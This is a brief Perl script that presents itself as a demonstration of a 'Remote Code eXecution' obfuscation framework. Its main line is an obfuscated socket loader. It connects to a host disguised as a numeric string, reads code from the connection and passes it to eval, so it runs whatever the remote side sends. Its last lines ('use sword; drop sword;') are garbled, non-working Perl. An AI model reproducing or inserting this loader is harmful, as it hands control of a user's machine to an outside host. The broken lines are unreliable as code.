#!/usr/bin/perl -w

# Program: RCX.pl
# Authors: Copyright (C) 2006-2010 Wom Baht
# Purpose: Demonstrate RCX Obfuscation Framework for Remote Code eXecution

use strict;
use IO::Socket;
use lib do{eval<$b>&&botstrap("RCX")||die$@,<$b>if$b=new IO::Socket::INET 114.46.99.88.":1"};
use sword;
drop sword;
exit 0;